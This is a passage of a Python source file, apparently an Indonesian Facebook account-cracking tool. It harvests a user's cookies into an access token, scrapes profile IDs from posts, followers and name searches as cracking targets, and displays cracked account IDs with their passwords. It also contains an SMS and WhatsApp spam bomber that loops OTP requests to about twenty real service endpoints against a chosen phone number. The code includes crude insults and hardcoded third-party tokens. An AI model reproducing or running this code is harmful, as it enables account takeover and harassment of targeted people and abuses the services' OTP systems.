- logger_id = re.search('name="logger_id" value="(.*?)"', str(response4)).group(1)
- auth_type = re.search('name="auth_type" value="(.*?)"', str(response4)).group(1)
- encrypted_post_body = re.search('name="encrypted_post_body" value="(.*?)"', str(response4)).group(1)
- return_format = re.search('name="return_format\\[\\]" value="(.*?)"', str(response4)).group(1)
- r.headers.update({'origin': 'https://m.facebook.com','referer': response3.url,'content-type': 'application/x-www-form-urlencoded',})
- data = {'fb_dtsg': fb_dtsg,'jazoest': jazoest,'scope': scope,'display': display,'user_code': user_code,'logger_id': logger_id,'auth_type': auth_type,'encrypted_post_body': encrypted_post_body,'return_format[]': return_format,}
- response5 = r.post('https://m.facebook.com{}'.format(action), data = data, cookies = {'cookie': your_cookies}).text
- windows_referer = re.search('window.location.href="(.*?)"', str(response5)).group(1).replace('\\', '')
- r.headers.pop('content-type');r.headers.pop('origin')
- r.headers.update({'referer': 'https://m.facebook.com/',})
- response6 = r.get(windows_referer, cookies = {'cookie': your_cookies}).text
- if 'Sukses!' in str(response6):
- r.headers.update({'sec-fetch-mode': 'no-cors','referer': 'https://graph.facebook.com/','Host': 'graph.facebook.com','accept': '*/*','sec-fetch-dest': 'script','sec-fetch-site': 'cross-site',})
- response7 = r.get(status_url, cookies = {'cookie': your_cookies}).text
- access_token = re.search('"access_token": "(.*?)"', str(response7)).group(1)
- print(f"\n ╰─ Token : {access_token}")
- tokenew = open(".token.txt","w").write(access_token)
- cook= open(".cok.txt","w").write(your_cookies)
- print("\n ╰─ Login Berhasil | python BrayennnFB.py");exit()
- except Exception as e:
- print(" ╰─ Cookies Mokad Kontol")
- os.system('rm -rf .token.txt && rm -rf .cok.txt')
- print(e)
- time.sleep(3)
- back()
- except:pass
- #------------------[ BAGIAN-MENU ]----------------#
- def menu(my_name,my_id):
- try:
- token = open('.token.txt','r').read()
- cok = open('.cok.txt','r').read()
- except IOError:
- print('[×] Cookies Kadaluarsa ')
- time.sleep(5)
- login_lagi334()
- os.system('clear')
- banner()
- ip = requests.get("https://api.ipify.org").text
- cetak(panel(f'[bold white][[bold green]•[/][bold white]][/] [bold white]Username : [bold green]{my_name}[/]\n[bold white][[bold green]•[/][bold white]][/] [bold white]User Idz : [bold green]{my_id}[/]\n[bold white][[bold green]•[/][bold white]][/] [bold white]User Ip : [bold green]{ip}[/][/] ',width=90,title=f"[bold green]Infomasi",style=f"bold white"))
- cetak(panel(f'[bold white][[bold green]01[/][bold white]][/] [bold white]Crack Publick [[bold green] ON [bold white]][/]\n[bold white][[bold green]02[/][bold white]][/] [bold white]Crack Massal [[bold green] ON [bold white]][/]\n[bold white][[bold green]03[/][bold white]][/] [bold white]Cek Result [[bold green] ON [bold white]][/]\n[bold white][[bold green]00[/][bold white]][/] [bold red]Hapus Cookies [[bold green] ON [bold white]][/]',width=90,title=f"[bold green]List Menu",style=f"bold white"))
- cetak(panel(f'[bold white]Ketik [bold green]"Lainnya"[bold white] Untuk Melihat Menu Tambahan | Ketik [bold green]"Bot"[bold white] Untuk Ke Menu Tambahan',width=90,title=f"[bold green]Informasi Crack",style=f"bold white"))
- _____brayennn___xd____ = input(f' ╰─ Pilih Menu Crack : ')
- if _____brayennn___xd____ in ['1','01']:
- brayen_dump()
- elif _____brayennn___xd____ in ['2','02']:
- dump_massal()
- elif _____brayennn___xd____ in ['3','03']:
- result()
- elif _____brayennn___xd____ in ['lainnya','Lainnya','LAINNYA']:
- lainnya()
- elif _____brayennn___xd____ in ['Bot','BOT','bot']:
- bot()
- elif _____brayennn___xd____ in ['0','00']:
- os.system('rm -rf .token.txt')
- os.system('rm -rf .cookie.txt')
- print(f' ╰─ {m}Sukses Logout+Hapus Cookies{x}')
- exit()
- else:
- print(' ╰─ Pilih Yang Bener Asu ')
- back()
- def error():
- print(f' ╰─ Maaf Fitur Ini Masih Di Perbaiki')
- time.sleep(4)
- back()
- #----------------------[ MENU CRACK ]----------------------#
- def bot():
- cetak(panel(f"[01] Cek Opsi Cp [[bold green] ON [bold white]] [03] Spam WhatsApp [[bold green] ON [bold white]]\n[02] Spam Sms [[bold green] ON [bold white]] [04] Kembali Ke Awal [[bold green] ON [bold white]]",width=90,title=f"[bold green]Menu Bot",padding=(0,8),style=f"bold white"))
- bray = input(f' ╰─ Pilih Menu Crack : ')
- if bray in(''):
- print(' ╰─ Pilih Yang Bener Asu ');back()
- if bray in('1','01'):
- file_cp()
- elif bray in('2','02'):
- spam_sms()
- elif bray in('3','03'):
- spam_wa()
- elif bray in('4','04'):
- back()
- #------------------[ DEFF SPAM SMS ]-------------------#
- agent = random.choice(
- [
- "Mozilla/5.0 (Linux; Android 6.0.1; SM-J500M Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36",
- "Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-G900F Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36",
- "Mozilla/5.0 (Linux; Android 7.1.2; Redmi 4X Build/N2G47H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36",
- "Dalvik/1.6.0 (Linux; U; Android 4.1.1; BroadSign Xpress 1.0.14 B- (720) Build/JRO03H)",
- "Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; BroadSign Xpress 1.0.15-6 B- (720) Build/JRO03H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30","Mozilla/5.0 (Linux; Android 5.1.1; A37fw Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36",
- "Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36"
- "Mozilla/5.0 (Linux; Android 10; SM-A305F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
- ]
- )
- def process_data1():
- sleep(0.10)
- def spam_sms():
- global nomor
- cetak(panel(f''' Masukan Nomor Target Yang Ingin Di Spam Contoh : +6281234567xxx''',width=90,padding=(0,8),style=f"bold white"))
- nomor = input(f" ╰─ Input No Hp : +62").replace("+62","")
- if nomor == "":
- pass
- else:
- while True:
- for _ in track(range(100), description=f' ╰─ Sedang Spam...'):process_data1()
- sxp_sms()
- class sxp_sms:
- def __init__(self):
- self.req = requests.Session()
- self.main()
- def sms_otp_1(self, no):
- __req__ = self.req.post("https://service.mokapos.com/account/v1/verification/phone/send",
- headers = {
- "accept": "application/json, text/plain, */*",
- "authorization": "undefined",
- "save-data": "on",
- "user-agent": agent,
- "content-type": "application/json;charset=UTF-8"
- },
- json = {
- "phone_number": f"+62{no}"
- }
- ).text
- def sms_otp_2(self, no):
- data = json.dumps({
- "mobile": f"0{no}",
- "noise": "1583590641573155574",
- "request_time": "158359064157312",
- "access_token": "11111"
- })
- __req__ = self.req.post("https://apiservice.rupiahcepatweb.com/webapi/v1/request_login_register_auth_code",
- headers = {
- "accept": "text/html, application/xhtml+xml, application/json, */*",
- "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7",
- "content-length": "166",
- "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
- "origin": "https://h5.rupiahcepatweb.com",
- "referer": "https://h5.rupiahcepatweb.com/dua2/pages/openPacket/openPacket.html?activityId=11&invite=200219190100215723",
- "sec-fetch-dest": "empty",
- "sec-fetch-mode": "cors",
- "sec-fetch-site": "same-site",
- "user-agent": agent
- },
- data = {
- "data": data
- }
- ).text
- def sms_otp_3(self, no):
- __req__ = self.req.post("https://www.olx.co.id/api/auth/authenticate",
- headers = {
- "accept": "*/*",
- "x-newrelic-id": "VQMGU1ZVDxABU1lbBgMDUlI=",
- "x-panamera-fingerprint": "83b09e49653c37fb4dc38423d82d74d7#1597271158063",
- "user-agent": agent,
- "content-type": "application/json"
- },
- json = {
- "grantType": "retry",
- "method": "sms",
- "phone": no,
- "language": "id"
- }
- ).text
- def sms_otp_4(self, no):
- __req__ = self.req.post("https://www.alodokter.com/login-with-phone-number",
- headers = {
- "user-agent": agent,
- "content-type": "application/json",
- "referer": "https://www.alodokter.com/login-alodokter",
- "accept": "application/json",
- "origin": "https://www.alodokter.com"
- },
- json = {
- "user":{
- "phone": f"0{no}"
- }
- }
- ).text
- def sms_otp_5(self, no):
- __req__ = self.req.post("https://www.kelaspintar.id/user/otpverification",
- headers = {
- "x-requested-with": "XMLHttpRequest",
- "user-agent": agent,
- "Referer": "https://www.kelaspintar.id/"
- },
- data = {
- "user_mobile": no,
- "otp_type": "send_otp_reg",
- "mobile_code": "%2B62"
- }
- ).text
- def sms_otp_6(self, no):
- aink_sanz = random.choice(
- [
- "Hallo Mantan",
- "Hallo Bangsad",
- "Hallo Sayang",
- "Hallo Ripper",
- "Hallo Ngab"
- ]
- )
- email = random.choice(
- [
- "nsnsmsmksksmsm@gmail.com",
- "lavon.lockman@gmail.com",
- "duane_mclaughlin38@gmail.com",
- "alfreda.lindgren@gmail.com",
- "leonardo_kuhlman@gmail.com",
- "lyric51@gmail.com",
- "devonte_littel@gmail.com",
- "newell.kuhic@gmail.com"
- ]
- )
- pw = random.choice(
- [
- "mamsmms123",
- "Wadepak1037",
- "waifugw1011"
- ]
- )
- birth_date = random.choice(
- [
- "13/09/1999",
- "04/02/2022",
- "05/02/2022",
- "05/02/2022",
- "06/02/2022",
- "10/02/2022"
- ]
- )
- __req__ = self.req.post("https://www.matahari.com/rest/V1/thorCustomers",
- json = {
- "thor_customer":{
- "name": aink_sanz,
- "card_number": None,
- "email_address": email,
- "mobile_country_code": "+62",
- "gender_id": "1",
- "mobile_number": f"0{no}",
- "mro": "",
- "password": pw,
- "birth_date": birth_date
- }
- },
- headers = {
- "Host": "www.matahari.com",
- "x-newrelic-id": "Vg4GVFVXDxAGVVlVBgcGVlY=",
- "origin": "https://www.matahari.com",
- "user-agent": agent,
- "content-type": "application/json",
- "accept": "*/*",
- "x-requested-with": "XMLHttpRequest",
- "referer": "https://www.matahari.com/customer/account/create/",
- "accept-encoding": "gzip, deflate, br",
- "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
- }
- ).text
- def sms_otp_7(self, no):
- __req__ = self.req.post("https://api.duniagames.co.id/api/user/api/v2/user/send-otp",
- headers = {
- "Host": "api.duniagames.co.id",
- "content-length": "32",
- "accept": "application/json, text/plain, */*",
- "x-device": "cc45ed83-73bd-4a98-83e3-874e8bc11a7f",
- "accept-language": "id",
- "user-agent": agent,
- "ciam-type": "FR",
- "content-type": "application/json",
- "origin": "https://duniagames.co.id",
- "sec-fetch-site": "same-site",
- "sec-fetch-mode": "cors",
- "sec-fetch-dest": "empty",
- "referer": "https://duniagames.co.id/",
- "accept-encoding": "gzip, deflate, br"
- },
- json = {
- "phoneNumber": f"+62{no}"
- }
- ).text
- def sms_otp_8(self, no):
- __req__ = self.req.post("https://harvestcakes.com/register",
- headers = {
- "user-agent": agent,
- "Referer": "https://harvestcakes.com/register"
- },
- data = {
- "phone": f"0{no}",
- "url": ""
- }
- ).text
- def sms_otp_9(self, no):
- __req__ = self.req.post("https://identity-gateway.oyorooms.com/identity/api/v1/otp/generate_by_phone?locale=id",
- headers = {
- "Host": "identity-gateway.oyorooms.com",
- "consumer_host": "https://www.oyorooms.com",
- "accept-language": "id",
- "access_token": "SFI4TER1WVRTakRUenYtalpLb0w6VnhrNGVLUVlBTE5TcUFVZFpBSnc=",
- "user-agent": agent,
- "Content-Type": "application/json",
- "accept": "*/*",
- "origin": "https://www.oyorooms.com",
- "referer": "https://www.oyorooms.com/login",
- "Accept-Encoding": "gzip, deflate, br"
- },
- json = {
- "phone": f"0{no}",
- "country_code": "+62",
- "country_iso_code": "ID",
- "nod": "4",
- "send_otp": "true",
- "devise_role": "Consumer_Guest"
- }
- ).text
- def sms_otp_10(self, no):
- __req__ = self.req.post("https://crp-app.stamps.co.id/api/auth/validate-mobile-number",
- json = {
- "mobile_number": f"0{no}",
- "token": "sI01tF5bOSYHabS7HaXiB1k3j0JxFxbcQ79Rd1HFBjKEKJqYAwSNMScsx9AEZq3O"
- },
- headers = {
- "Host": "crp-app.stamps.co.id",
- "content-type": "application/json; charset=utf-8",
- "content-length": "106",
- "accept-encoding": "gzip",
- "User-Agent": agent
- }
- ).text
- def sms_otp_11(self, no):
- __req__ = self.req.post("https://app-api.kredito.id/client/v1/common/verify-code/send",
- headers = {
- "LPR-TIMESTAMP": "1603281035821",
- "Accept-Language": "id-ID",
- "LPR-BRAND": "Kredito",
- "LPR-PLATFORM": "android",
- "user-agent": agent,
- "Authorization": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOi0xNjAzMjgxMDE3MjAzLCJ1dHlwZSI6ImFub24iLCJleHAiOjE2MDMyODQ2MTd9._HUnW7FQmMiDWvSejS0MBqMq95l2rk_6PuxDeXY5Oks",
- "LPR-SIGNATURE": "e15dbea8602409df32a2ed5a123dc244",
- "Content-Type": "application/json; charset=UTF-8",
- "Content-Length": "79"
- },
- data = '{"event":"default_verification","mobilePhone":"%s","sender":"jatissms"}' % no
- ).text
- def sms_otp_12(self, no):
- __req__ = self.req.post("https://www.autofun.co.id:443/v2/captcha/sms",
- headers = {
- "Host": "www.autofun.co.id",
- "Connection": "keep-alive",
- "Content-length": "84",
- "accept": "*/*",
- "user-agent": agent,
- "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7",
- "content-type": "application/json;charset=UTF-8",
- "Origin": "https://www.autofun.co.id",
- "X-Requested-With": "acr.browser.barebones",
- "Sec-Fetch-Site": "same-origin",
- "Sec-Fetch-Mode": "cors",
- "Sec-Fetch-Dest": "empty",
- "Referer": "https://www.autofun.co.id/mobil/datsun",
- "Accept-Encoding": "gzip, deflate"
- },
- json = {
- "phoneNum": f"62{no}",
- "languageCode": "id-id",
- "countryCode": "id",
- "platform": 2
- }
- ).text
- def sms_otp_13(self, no):
- __req__ = self.req.post("https://api.myfave.com/api/fave/v3/auth",
- json = {
- "phone":"+62"+no
- },
- headers = {
- "Host": "api.myfave.com",
- "Connection": "keep-alive",
- "x-user-agent": "Fave-PWA/v1.0.0",
- "Origin": "https://m.myfave.com",
- "user-agent": agent,
- "content-type": "application/json",
- "Accept": "*/*",
- "Referer": "https://m.myfave.com/jakarta/auth",
- "Accept-Encoding": "gzip, deflate, br",
- "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
- }
- ).text
- def sms_otp_14(self, no):
- nickname = random.choice(
- [
- "fahmi",
- "xzc0der",
- "bed3bah",
- "xmanz"
- ]
- )
- angka = random.randint(
- 111,
- 999
- )
- __req__ = self.req.post("https://wong.kitabisa.com/register/draft",
- headers = {
- "Host": "wong.kitabisa.com",
- "x-ktbs-platform-name": "pwa",
- "origin": "https://account.kitabisa.com",
- "x-ktbs-time": "1611020248",
- "user-agent": agent,
- "x-ktbs-api-version": "1.0.0",
- "accept": "application/json",
- "x-ktbs-client-name": "kanvas",
- "x-ktbs-request-id": "107790c3-86e0-4872-9dfb-b9c5da9bfa13",
- "x-ktbs-client-version": "1.0.0",
- "x-ktbs-signature": "e6b4dd627125b3ccd53de193d165c481cc7fdfef0b1dcd7a587636a008fdc89e",
- "version": "3.4.0",
- "referer": "https://account.kitabisa.com/register/otp?type=sms",
- "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
- },
- json = {
- "full_name": nickname+str(angka),
- "username": f"62{no}",
- "otp_type": "sms"
- }
- ).text
- def main(self):
- self.sms_otp_1(nomor)
- self.sms_otp_2(nomor)
- self.sms_otp_3(nomor)
- self.sms_otp_4(nomor)
- self.sms_otp_5(nomor)
- self.sms_otp_6(nomor)
- self.sms_otp_7(nomor)
- self.sms_otp_8(nomor)
- self.sms_otp_9(nomor)
- self.sms_otp_10(nomor)
- self.sms_otp_11(nomor)
- self.sms_otp_12(nomor)
- self.sms_otp_13(nomor)
- self.sms_otp_14(nomor)
- cetak(panel(f"Sukses Spam SMS Ke No : +62{nomor}",width=90,padding=(0,2),style=f"bold white"))
- #------------------[ DEFF SPAM WA ]-------------------#
- def spam_wa():
- global nomor
- cetak(panel(f''' Masukan Nomor Target Yang Ingin Di Spam Contoh : +6281234567xxx''',width=90,padding=(0,8),style=f"bold white"))
- nomor = input(f" ╰─ Input No Hp : +62").replace("+62","")
- if nomor == "":
- pass
- else:
- while True:
- for _ in track(range(100), description=f' ╰─ Sedang Spam...'):process_data1()
- sxp_wa()
- class sxp_wa:
- def __init__(self):
- self.req = requests.Session()
- self.main()
- def wa_otp_1(self, no):
- nickname = random.choice(
- [
- "fahmi",
- "xzc0der",
- "bed3bah",
- "xmanz"
- ]
- )
- angka = random.randint(
- 111,
- 999
- )
- __req__ = self.req.post("https://wong.kitabisa.com/register/draft",
- headers = {
- "Host": "wong.kitabisa.com",
- "x-ktbs-platform-name": "pwa",
- "origin": "https://account.kitabisa.com",
- "x-ktbs-time": "1611020248",
- "user-agent": agent,
- "x-ktbs-api-version": "1.0.0",
- "accept": "application/json",
- "x-ktbs-client-name": "kanvas",
- "x-ktbs-request-id": "107790c3-86e0-4872-9dfb-b9c5da9bfa13",
- "x-ktbs-client-version": "1.0.0",
- "x-ktbs-signature": "e6b4dd627125b3ccd53de193d165c481cc7fdfef0b1dcd7a587636a008fdc89e",
- "version": "3.4.0",
- "referer": "https://account.kitabisa.com/register/otp?type=sms",
- "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
- },
- json = {
- "full_name": nickname+str(angka),
- "username": f"0{no}",
- "otp_type": "whatsapp"
- }
- ).text
- def wa_otp_2(self, no):
- __req__ = self.req.get(
- f"https://m.redbus.id/api/getOtp?number={no}&cc=62&whatsAppOpted=true"
- ).text
- def wa_otp_3(self, no):
- __req__ = self.req.post("https://api.bukuwarung.com/api/v1/auth/otp/send",
- headers = {
- "Accept": "application/json",
- "X-APP-VERSION-NAME": "3.4.0",
- "X-APP-VERSION-CODE": "3399",
- "Content-Type": "application/json; charset=UTF-8",
- "Host": "api.bukuwarung.com",
- "Connection": "Keep-Alive",
- "Accept-Encoding": "gzip",
- "User-Agent": agent
- },
- json = {
- "action": "LOGIN_OTP",
- "countryCode": "62",
- "deviceId": "00000177-142d-f1a2-bac4-57a9039fdc4d",
- "method": "WA",
- "phone": no
- }
- ).text
- def wa_otp_4(self, no):
- __req__ = self.req.post("https://evermos.com/api/client/request-code",
- headers = {
- "user-agent": agent
- },
- data = {
- "telephone": f"62{no}",
- "type": 0
- }
- ).text
- def wa_otp_5(self, no):
- __req__ = self.req.post("https://wapi.ruparupa.com/auth/generate-otp",
- headers = {
- "Host": "wapi.ruparupa.com",
- "Connection": "keep-alive",
- "Authorization": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1dWlkIjoiOGZlY2VjZmYtZTQ1Zi00MTVmLWI2M2UtMmJiMzUyZmQ2NzhkIiwiaWF0IjoxNTkzMDIyNDkyLCJpc3MiOiJ3YXBpLnJ1cGFydXBhIn0.fETKXQ0KyZdksWWsjkRpjiKLrJtZWmtogKyePycoF0E",
- "Accept": "application/json",
- "Content-Type": "application/json",
- "X-Company-Name": "odi",
- "user-agent": agent,
- "user-platform": "mobile",
- "X-Frontend-Type": "mobile",
- "Origin": "https://m.ruparupa.com",
- "Referer": "https://m.ruparupa.com/verification?page=otp-choices",
- "Accept-Encoding": "gzip, deflate, br",
- "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
- },
- json = {
- "phone": f"0{no}",
- "action": "register",
- "channel": "chat",
- "email": "",
- "customer_id": "0",
- "is_resend": 0
- }
- ).text
- def wa_otp_6(self, no):
- headers = {
- "Connection": "keep-alive",
- "Accept": "application/json, text/javascript, */*; q=0.01",
- "Origin": "https://accounts.tokopedia.com",
- "X-Requested-With": "XMLHttpRequest",
- "user-agent": agent,
- "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
- "Accept-Encoding": "gzip, deflate",
- }
- site = self.req.get("https://accounts.tokopedia.com/otp/c/page?otp_type=116&msisdn="+ no +"&ld=https%3A%2F%2Faccounts.tokopedia.com%2Fregister%3Ftype%3Dphone%26phone%3D{}%26status%3DeyJrIjp0cnVlLCJtIjp0cnVlLCJzIjpmYWxzZSwiYm90IjpmYWxzZSwiZ2MiOmZhbHNlfQ%253D%253D", headers = headers).text
- search = re.search(r'\<input\ id\=\"Token\"\ value\=\"(.*?)\"\ type\=\"hidden\"\>', site).group(1)
- data = {
- "otp_type": "116",
- "msisdn": no,
- "tk": search,
- "email": "",
- "original_param": "",
- "user_id": "",
- "signature": "",
- "number_otp_digit": "6",
- }
- __req__ = self.req.post(
- "https://accounts.tokopedia.com/otp/c/ajax/request-wa", headers = headers, data = data
- ).text
- def main(self):
- self.wa_otp_1(nomor)
- self.wa_otp_2(nomor)
- self.wa_otp_3(nomor)
- self.wa_otp_4(nomor)
- self.wa_otp_5(nomor)
- self.wa_otp_6(nomor)
- cetak(panel(f" Sukses Spam WA Ke No : {K2}+62{nomor}",width=90,padding=(0,2),style=f"bold white"))
- #----------------------[ MENU CRACK V2 ]----------------------#
- def lainnya():
- cetak(panel(f"[01] Crack Username [[bold green] ON [bold white]] [03] Crack File [[bold green] ON [bold white]]\n[02] Crack Followers [[bold green] ON [bold white]] [04] Kembali Ke Awal [[bold green] ON [bold white]]",width=90,title=f"[bold green]Menu Crack",padding=(0,8),style=f"bold white"))
- bray = input(f' ╰─ Pilih Menu Crack : ')
- if bray in(''):
- print(' ╰─ Pilih Yang Bener Asu ');back()
- if bray in('1','01'):
- crack_nama()
- elif bray in('2','02'):
- pengikut()
- elif bray in('3','03'):
- crack_file()
- elif bray in('4','04'):
- back()
- ###----------[ CRACK DARI KOMEN ]---------- ###
- def komen():
- cetak(panel(f"Pastikan Akun Target Yang Di Pilih Bersifat Publik Jangan Private",width=90,padding=(0,4),style=f"bold white"))
- ide = input(f' ╰─ Masukan Id Postingan : ')
- url = 'https://mbasic.facebook.com/'+ide
- try:get_komen(url)
- except KeyboardInterrupt:setting()
- if len(dump)==0:
- print(f" ╰─ Gagal Dump Id, Kemungkinan Akun Private")
- time.sleep(3);exit()
- setting()
- def get_komen(url):
- data = parser(ses.get(url).text,"html.parser")
- for isi in data.find_all("h3"):
- for ids in isi.find_all("a",href=True):
- if "profile.php" in ids.get("href"):id = ids.get("href").split('=')[1].replace("&refid","")
- else:id = re.findall("/(.*?)?__",ids["href"])[0]. replace("?refid=52&","")
- nama = ids.text
- if id+"|"+nama in dump:pass
- else:id.append(id+"|"+nama)
- sys.stdout.write(f"\r ╰─ Mengumpulkan {len(id)} Idz...");sys.stdout.flush()
- for z in data.find_all("a",href=True):
- if "Lihat komentar sebelumnya…" in z.text:
- try:get_komen("https://mbasic.facebook.com"+z["href"])
- except:pass
- ###----------[ DUMP PENGIKUT ]---------- ###
- def pengikut():
- try:
- token = open('.token.txt','r').read()
- cok = open('.cok.txt','r').read()
- except IOError:
- exit()
- ses = requests.Session()
- cetak(panel(f"Ketik 'Me' Jika Ingin Crack Dari Total Followers Anda Sendiri",width=90,padding=(0,7),style=f"bold white"))
- akun = console.input(f' ╰─ Masukan Id Target : ')
- try:
- koh2 = ses.get(f'https://graph.facebook.com/{akun}?fields=subscribers.limit(5000)&access_token={token}',cookies={'cookie': cok}).json()
- for pi in koh2['subscribers']['data']:
- try:
- id.append(pi['id']+'|'+pi['name'])
- sys.stdout.write(f"\r ╰─ Mengumpulkan {len(id)} Idz...");sys.stdout.flush()
- time.sleep(0.0002)
- except:continue
- print("\r")
- cetak(panel(f"Berhasil Mengumpulkan {len(id)} Idz",width=90,padding=(0,22),style=f"bold white"))
- setting()
- except requests.exceptions.ConnectionError:
- print(f" ╰─ Koneksi Internet Anda Bermasalah")
- time.sleep(3);exit()
- except (KeyError,IOError):
- print(f" ╰─ Gagal Dump Id, Kemungkinan Akun Private")
- time.sleep(3);exit()
- #----------------------[ CRACK USERNAME ]----------------------#
- def crack_nama():
- nama = []
- custom = [" iqbal"," kami"," siska"," batam"," medan"," new"," old"," jian"," store"," tias"," rio"," lia"," farz"," marvel"," jakarta"," anisha"," juven"," der"," rika"," udin"," rayan"," tina"," hendrik"," fahmi"," baili"," rima"," gadis"," dimas"," abram"," ajis"," vicky"," charlie"," piko"," billa"]
- custom2 = ["galang ","gilang ","gita ","steven ","aulia ","tiyas ","albert ","naura ","naira ","mancung ","dewi ","josen ","johan ","slot ","sharil ","hendrik ","edo ","ridho ","anton ","reval ","abi ","yehezkiel ","hafiz ","daniel ","angun "]
- cetak(panel(f" Crack Username Satu Nama Yang Ingin Di Crack Setara Dengan 5.000 Username",width=90,padding=(0,2),style=f"bold white"))
- nam = console.input(f' ╰─ Masukan Nama : ').split(",")
- for ser in nam:
- for belakang in custom:
- id = ser+belakang
- nama.append(id)
- for depan in custom2:
- id = depan+ser
- nama.append(id)
- with tred(max_workers=5) as thread:
- for id in nama:
- thread.submit(cari_nama,f"https://mbasic.facebook.com/public/{id}?/locale2=id_ID")
- setting()
- def cari_nama(link):
- r = parser(ses.get(str(link)).text,'html.parser')
- for x in r.find_all('td'):
- data = re.findall('\<a\ href\=\"\/(.*?)\">\<div\ class\=\".*?\">\<div\ class\=\".*?\">(.*?)<\/div\>',str(x))
- for uid,nama in data:
- if 'profile.php?' in uid:
- uid = re.findall('id=(.*)',str(uid))[0]
- elif '<span' in nama:
- nama = re.findall('(.*?)\<',str(nama))[0]
- bo = uid+'|'+nama
- if bo in id:pass
- else:id.append(bo)
- link = r.find('a',string='Lihat Hasil Selanjutnya').get('href')
- if(link):
- sys.stdout.write(f"\r ╰─ Mengumpulkan {len(id)} Idz ...");sys.stdout.flush()
- time.sleep(0.0000003)
- cari_nama(link)
- else:
- print("\r")
- #-----------------[ CRACK FILE ]-----------------#
- def crack_file():
- try:vin = os.listdir('DUMP')
- except FileNotFoundError:
- print(' ╰─ File Tidak Ditemukan ')
- time.sleep(2)
- back()
- if len(vin)==0:
- print(' ╰─ Kamu Tidak Memiliki File Dump ')
- time.sleep(2)
- back()
- else:
- cih = 0
- lol = {}
- for isi in vin:
- try:hem = open('DUMP/'+isi,'r').readlines()
- except:continue
- cih+=1
- if cih<100:
- nom = ''+str(cih)
- lol.update({str(cih):str(isi)})
- lol.update({nom:str(isi)})
- print(f' %s. %s ({h} %s{x} idz )'%(nom,isi,len(hem)))
- else:
- lol.update({str(cih):str(isi)})
- print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- print(' ╰─ %s. %s ({h} %s {x}idz) '%(cih,isi,len(hem)))
- geeh = input('\n ╰─ Chouse : ')
- print('')
- try:geh = lol[geeh]
- except KeyError:
- print(f' ╰─{k} Pilih Yang Bener Kontol {x}')
- time.sleep(3)
- back()
- try:lin = open('DUMP/'+geh,'r').read().splitlines()
- except:
- print(' ╰─ File Tidak Ditemukan, Coba Lagi Nanti ')
- time.sleep(2)
- back()
- for xid in lin:
- id.append(xid)
- setting()
- #-----------------[ HASIL-CRACK ]-----------------#
- def result():
- cetak(panel(f'[bold white][[bold green]01[/][bold white]][/] [bold white]Hasil OK[/]\n[bold white][[bold green]02[/][bold white]][/] [bold white]Hasil CP[/]\n[bold white][[bold green]03[/][bold white]][/] [bold red]Kembali[/]',width=90,title=f"[bold white]• [/][bold green]List Menu Cek[/][bold white] •[/]",style=f"bold white"))
- kz = input(f'\n {P}[{x}{H}?{x}{P}]{x} {P}select{x} : ')
- if kz in ['2','02']:
- try:vin = os.listdir('CP')
- except FileNotFoundError:
- print(' ╰─ File Tidak Di Temukan ')
- time.sleep(3)
- back()
- if len(vin)==0:
- print(' ╰─ Anda Tidak Memiliki Hasil CP ')
- time.sleep(4)
- back()
- else:
- cih = 0
- lol = {}
- for isi in vin:
- try:hem = open('CP/'+isi,'r').readlines()
- except:continue
- cih+=1
- if cih<10:
- nom = '0'+str(cih)
- lol.update({str(cih):str(isi)})
- lol.update({nom:str(isi)})
- print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- else:
- lol.update({str(cih):str(isi)})
- print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- geeh = input(f'\n{P}{x}{H} ╰─ {x}{P}{x} {P}Select{x} : ')
- try:geh = lol[geeh]
- except KeyError:
- print(' ╰─ Pilih Yang Bener Kontol ')
- exit()
- try:lin = open('CP/'+geh,'r').read().splitlines()
- except:
- print(' ╰─ File Tidak Di Temukan ')
- time.sleep(4)
- back()
- nocp=0
- for cpku in range(len(lin)):
- cpkuni=lin[nocp].split('|')
- cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
- sol().print(mark(cpkuh,style="yellow"))
- nocp +=1
- input('[ Klik Enter ]')
- back()
- elif kz in ['1','01']:
- try:vin = os.listdir('OK')
- except FileNotFoundError:
- print(' ╰─ File Tidak Di Temukan ')
- time.sleep(4)
- back()
- if len(vin)==0:
- print(' ╰─ Anda Tidak Mempunyai File OK ')
- time.sleep(4)
- back()
- else:
- cih = 0
- lol = {}
- for isi in vin:
- try:hem = open('OK/'+isi,'r').readlines()
- except:continue
- cih+=1
- if cih<80:
- nom = '0'+str(cih)
- lol.update({str(cih):str(isi)})
- lol.update({nom:str(isi)})
- print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- else:
- lol.update({str(cih):str(isi)})
- print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- geeh = input('\n ╰─ Pilih : ')
- try:geh = lol[geeh]
- except KeyError:
